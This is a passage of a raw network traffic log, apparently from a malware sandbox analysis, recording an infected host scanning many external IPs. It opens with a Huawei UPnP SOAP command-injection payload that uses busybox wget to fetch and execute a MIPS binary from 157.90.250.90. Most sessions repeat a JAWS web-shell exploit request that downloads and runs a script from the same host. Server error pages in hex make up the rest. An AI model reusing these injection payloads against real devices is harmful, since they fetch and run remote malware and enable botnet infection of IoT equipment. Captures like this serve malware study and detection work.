0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
289	192.168.2.23	56304	20.44.122.130	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:35.077410936 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:35.234039068 CET	502	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Tue, 02 Jan 2024 05:24:34 GMT Connection: close Content-Length: 311 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 69 73 20 62 61 64 6c 79 20 66 6f 72 6d 65 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request</h2><hr><p>HTTP Error 400. The request is badly formed.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
290	192.168.2.23	50988	176.119.158.219	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:35.189037085 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:35.456106901 CET	450	IN	HTTP/1.1 400 Bad Request Date: Tue, 02 Jan 2024 05:24:35 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.1.33 Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
291	192.168.2.23	51600	185.2.14.12	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:35.360260010 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:35.676378965 CET	502	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Tue, 02 Jan 2024 05:24:34 GMT Connection: close Content-Length: 311 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 69 73 20 62 61 64 6c 79 20 66 6f 72 6d 65 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request</h2><hr><p>HTTP Error 400. The request is badly formed.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
292	192.168.2.23	36246	142.93.144.234	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:36.837939024 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:36.994029999 CET	1286	IN	HTTP/1.1 400 Bad Request Date: Tue, 02 Jan 2024 05:24:36 GMT Server: Apache Accept-Ranges: bytes Cache-Control: no-cache, no-store, must-revalidate Pragma: no-cache Expires: 0 Connection: close Content-Type: text/html Data Raw: 0a 0a 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 50 72 61 67 6d 61 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 45 78 70 69 72 65 73 22 20 63 6f 6e 74 65 6e 74 3d 22 30 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 34 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 2e 34 32 38 35 37 31 34 32 39 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 66 66 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 32 46 33 32 33 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 73 65 63 74 69 6f 6e 2c 20 66 6f 6f 74 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 20 31 30 70 78 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 72 65 73 70 6f 6e 73 65 2d 69 6e 66 6f 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 43 43 43 43 43 43 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 73 74 61 74 75 73 2d 63 6f 64 65 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 35 30 30 25 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 73 74 61 74 75 73 2d 72 65 61 73 6f 6e 20 7b 0a 20 20 Data Ascii: <!DOCTYPE html><html> <head> <meta http-equiv="Content-type" content="text/html; charset=utf-8"> <meta http-equiv="Cache-control" content="no-cache"> <meta http-equiv="Pragma" content="no-cache"> <meta http-equiv="Expires" content="0"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>400 Bad Request</title> <style type="text/css"> body { font-family: Arial, Helvetica, sans-serif; font-size: 14px; line-height: 1.428571429; background-color: #ffffff; color: #2F3230; padding: 0; margin: 0; } section, footer { display: block; padding: 0; margin: 0; } .container { margin-left: auto; margin-right: auto; padding: 0 10px; } .response-info { color: #CCCCCC; } .status-code { font-size: 500%; } .status-reason {
Jan 2, 2024 06:24:36.994083881 CET	1286	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 35 30 25 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 63 6f 6e 74 61 63 74 2d Data Ascii: font-size: 250%; display: block; } .contact-info, .reason-text { color: #000000; } .additional-info { background-repeat: no-repeat; background-co
Jan 2, 2024 06:24:36.994102955 CET	1286	IN	Data Raw: 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 62 6f 6c 64 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 6c 65 66 74 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 77 6f 72 64 2d 62 72 Data Ascii: { font-weight: bold; text-align: left; word-break: break-all; width: 100%; } .info-server address { text-align: left; } footer { text-align
Jan 2, 2024 06:24:36.994118929 CET	1286	IN	Data Raw: 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 69 6e 66 6f 2d 68 65 61 64 69 6e 67 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 36 32 70 78 20 30 20 30 20 39 38 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: } .info-heading { margin: 62px 0 0 98px; } .info-server address { text-align: left; position: absolute; right: 0; bottom: 0;
Jan 2, 2024 06:24:36.994132996 CET	1286	IN	Data Raw: 62 47 42 74 71 52 46 52 58 6f 36 2b 30 5a 35 59 51 68 35 4c 48 64 39 59 47 57 4f 73 46 2b 39 49 73 35 6f 51 58 63 74 5a 4b 62 76 64 41 41 74 62 48 48 4d 38 2b 47 4c 66 6f 6a 57 64 49 67 50 66 66 37 59 69 66 52 54 4e 69 5a 6d 75 73 57 2b 77 38 66 Data Ascii: bGBtqRFRXo6+0Z5YQh5LHd9YGWOsF+9Is5oQXctZKbvdAAtbHHM8+GLfojWdIgPff7YifRTNiZmusW+w8fDj1xdevNnbU3VFfTEL/W33pfH31cGYBpgW9Lba3Ic8C8iA77NLe514vu8BPj6/n3lCd/VkgKXGkwYUQHAaM+yQunBmNSwbRVYh+kOcgMhvRDB1Md20YfiR+UFfvdIizp2v1vVjt0usa1pmNzAX2IFl5/xaE9aqQGS
Jan 2, 2024 06:24:36.994144917 CET	1286	IN	Data Raw: 35 55 33 77 4d 78 69 6f 69 45 72 52 6d 32 6e 75 68 64 38 51 52 43 41 38 49 77 54 52 41 57 31 4f 37 50 41 73 62 74 43 50 79 4d 4d 67 4a 70 2b 31 2f 49 61 78 71 47 41 52 7a 72 46 74 74 70 68 55 52 2b 4d 76 45 50 53 78 2b 36 6d 2f 70 43 78 45 69 33 Data Ascii: 5U3wMxioiErRm2nuhd8QRCA8IwTRAW1O7PAsbtCPyMMgJp+1/IaxqGARzrFttphUR+MvEPSx+6m/pCxEi3Y7p485ESAVmuldvzSTKw2fqHSGM5hBW1IUI0f/LdONtEUKXGC95jK+Rg4QBVwNmlePZVjTxuo24kWMrQHg/nZzxDqmqFRFC799+dbEirMoVEXhVA07Y+GWNMOBCxIIpCgCpAX5KgHB6IQILHwE3HXk2XQVszdSkGE
Jan 2, 2024 06:24:36.994187117 CET	1096	IN	Data Raw: 4c 57 6b 51 38 77 6f 42 4b 79 52 2b 2b 64 55 54 73 75 45 4b 2b 4c 38 70 32 42 44 34 66 47 64 73 66 71 68 78 47 51 54 51 5a 6c 75 48 55 4c 58 72 52 73 55 46 66 42 45 30 4f 67 7a 49 6c 72 61 52 38 76 6b 77 36 71 6e 58 6d 75 44 53 46 38 52 67 53 38 Data Ascii: LWkQ8woBKyR++dUTsuEK+L8p2BD4fGdsfqhxGQTQZluHULXrRsUFfBE0OgzIlraR8vkw6qnXmuDSF8RgS8th+d+phci8FJf1fwapi44rFpfqTZAnW+JFRG3kf94Z+sSqdR1UIiI/dc/B6N/M9WsiADO00A3QU0hohX5RTdeCrstyT1WphURTBevBaV4iwYJGGctRDC1FsGaQ3RtGFfL4os34g6T+AkAT84bs0fX2weS88X7X6hX
Jan 2, 2024 06:24:36.994201899 CET	1286	IN	Data Raw: 34 30 30 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 73 74 61 74 75 73 2d 72 65 61 73 6f 6e 22 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 Data Ascii: 400</span> <span class="status-reason">Bad Request</span> </section> <section class="contact-info"> Please forward this error screen to ns4.autocom.club's <a href="mailto:rheynielflores@
Jan 2, 2024 06:24:36.994213104 CET	366	IN	Data Raw: 5f 6d 65 64 69 75 6d 3d 63 70 6c 6f 67 6f 26 75 74 6d 5f 63 6f 6e 74 65 6e 74 3d 6c 6f 67 6f 6c 69 6e 6b 26 75 74 6d 5f 63 61 6d 70 61 69 67 6e 3d 34 30 30 72 65 66 65 72 72 61 6c 22 20 74 61 72 67 65 74 3d 22 63 70 61 6e 65 6c 22 20 74 69 74 6c Data Ascii: _medium=cplogo&utm_content=logolink&utm_campaign=400referral" target="cpanel" title="cPanel, Inc."> <img src="/img-sys/powered_by_cpanel.svg" height="20" alt="cPanel, Inc." /> <div class="copyright">Copy

Session ID	Source IP	Source Port	Destination IP	Destination Port
293	192.168.2.23	52038	44.237.242.202	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:36.865314007 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
294	192.168.2.23	38096	5.63.152.59	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:37.257342100 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:37.524697065 CET	1286	IN	HTTP/1.0 403 Forbidden Server: squid/3.1.10 Mime-Version: 1.0 Date: Tue, 02 Jan 2024 05:27:35 GMT Content-Type: text/html Content-Length: 3294 X-Squid-Error: ERR_ACCESS_DENIED 0 Vary: Accept-Language Content-Language: en X-Cache: MISS from dserver X-Cache-Lookup: NONE from dserver:80 Via: 1.0 dserver (squid/3.1.10) Connection: keep-alive Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 0a 20 2f 2a 0a 20 53 74 79 6c 65 73 68 65 65 74 20 66 6f 72 20 53 71 75 69 64 20 45 72 72 6f 72 20 70 61 67 65 73 0a 20 41 64 61 70 74 65 64 20 66 72 6f 6d 20 64 65 73 69 67 6e 20 62 79 20 46 72 65 65 20 43 53 53 20 54 65 6d 70 6c 61 74 65 73 0a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 66 72 65 65 63 73 73 74 65 6d 70 6c 61 74 65 73 2e 6f 72 67 0a 20 52 65 6c 65 61 73 65 64 20 66 6f 72 20 66 72 65 65 20 75 6e 64 65 72 20 61 20 43 72 65 61 74 69 76 65 20 43 6f 6d 6d 6f 6e 73 20 41 74 74 72 69 62 75 74 69 6f 6e 20 32 2e 35 20 4c 69 63 65 6e 73 65 0a 2a 2f 0a 0a 2f 2a 20 50 61 67 65 20 62 61 73 69 63 73 20 2a 2f 0a 2a 20 7b 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 7d 0a 0a 68 74 6d 6c 20 62 6f 64 79 20 7b 0a 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 65 66 65 66 65 66 3b 0a 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 70 78 3b 0a 09 63 6f 6c 6f 72 3a 20 23 31 65 31 65 31 65 3b 0a 7d 0a 0a 2f 2a 20 50 61 67 65 20 64 69 73 70 6c 61 79 65 64 20 74 69 74 6c 65 20 61 72 65 61 20 2a 2f 0a 23 74 69 74 6c 65 73 20 7b 0a 09 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 31 35 70 78 3b 0a 09 70 61 64 64 69 6e 67 3a 20 31 30 70 78 3b 0a 09 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 20 31 30 30 70 78 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 75 72 6c 28 27 68 74 74 70 3a 2f 2f 77 77 77 2e 73 71 75 69 64 2d 63 61 63 68 65 2e 6f 72 67 2f 41 72 74 77 6f 72 6b 2f 53 4e 2e 70 6e 67 27 29 20 6e 6f 2d 72 65 70 65 61 74 20 6c 65 66 74 3b 0a 7d 0a 0a 2f 2a 20 69 6e 69 74 69 61 6c 20 74 69 74 6c 65 20 2a 2f 0a 23 74 69 74 6c 65 73 20 68 31 20 7b 0a 09 63 6f 6c 6f 72 3a 20 23 30 30 30 30 30 30 3b 0a 7d 0a 23 74 69 74 6c 65 73 20 68 32 20 7b 0a 09 63 6f 6c 6f 72 3a 20 23 30 30 30 30 30 30 3b 0a 7d 0a 0a 2f 2a 20 73 70 65 63 69 61 6c 20 65 76 65 6e 74 3a 20 46 54 50 20 73 75 63 63 65 73 73 20 70 61 67 65 20 74 69 74 6c 65 73 20 2a 2f 0a 23 74 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><title>ERROR: The requested URL could not be retrieved</title><style type="text/css">... /* Stylesheet for Squid Error pages Adapted from design by Free CSS Templates http://www.freecsstemplates.org Released for free under a Creative Commons Attribution 2.5 License// Page basics / {font-family: verdana, sans-serif;}html body {margin: 0;padding: 0;background: #efefef;font-size: 12px;color: #1e1e1e;}/* Page displayed title area /#titles {margin-left: 15px;padding: 10px;padding-left: 100px;background: url('http://www.squid-cache.org/Artwork/SN.png') no-repeat left;}/ initial title /#titles h1 {color: #000000;}#titles h2 {color: #000000;}/ special event: FTP success page titles */#t
Jan 2, 2024 06:24:37.524714947 CET	1286	IN	Data Raw: 69 74 6c 65 73 20 66 74 70 73 75 63 63 65 73 73 20 7b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 66 66 30 30 3b 0a 09 77 69 64 74 68 3a 31 30 30 25 3b 0a 7d 0a 0a 2f 2a 20 50 61 67 65 20 64 69 73 70 6c 61 79 65 64 20 62 6f Data Ascii: itles ftpsuccess {background-color:#00ff00;width:100%;}/* Page displayed body content area /#content {padding: 10px;background: #ffffff;}/ General text /p {}/ error brief description /#error p {}/ some data which m
Jan 2, 2024 06:24:37.524940968 CET	1113	IN	Data Raw: 31 32 37 2e 30 2e 30 2e 31 2f 73 68 65 6c 6c 3f 22 3e 68 74 74 70 3a 2f 2f 31 32 37 2e 30 2e 30 2e 31 2f 73 68 65 6c 6c 3f 3c 2f 61 3e 3c 2f 70 3e 0a 0a 3c 62 6c 6f 63 6b 71 75 6f 74 65 20 69 64 3d 22 65 72 72 6f 72 22 3e 0a 3c 70 3e 3c 62 3e 41 Data Ascii: 127.0.0.1/shell?">http://127.0.0.1/shell?</a></p><blockquote id="error"><p><b>Access Denied.</b></p></blockquote><p>Access control configuration prevents your request from being allowed at this time. Please contact your service provider

Session ID	Source IP	Source Port	Destination IP	Destination Port
295	192.168.2.23	60686	154.213.63.230	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:37.365549088 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:37.685703993 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Tue, 02 Jan 2024 05:24:40 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
296	192.168.2.23	60250	45.169.136.2	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:37.969433069 CET	232	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
